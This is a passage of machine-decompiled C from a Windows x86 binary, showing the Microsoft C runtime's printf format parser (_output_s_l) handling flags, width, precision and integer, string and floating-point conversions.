									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E004344A0(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E004358F0( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E004285A0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C6E0( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M004357E0))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E00431490( *(_t623 - 0x251) & 0x000000ff, E0041AFF0(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00428500( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00428500( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E520();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00423010(_t571))) = 0x16;
													E00422DA0(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041AFC0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x435818; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435800))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x435840; // 0x504e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043582C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x4358ac; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00435870))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AFF0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xc0d8c8fb
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AFF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xc0d7763b
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AFF0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xc0d772bb
																	E00424860(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E004285E0(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428620(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E004285E0(__ebp + 0x14);
													__eax = E00434180();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E520();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													} else {
														L116:
														 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
														__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x2f8) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041AFC0(__ecx);
														__eax =  *(__ebp - 0x2f8);
														goto L229;
													}
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L89:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004285E0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L100:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L103:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L104:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L106:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L107;
													} else {
														L93:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L96:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L97:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L98:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L99:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L107:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
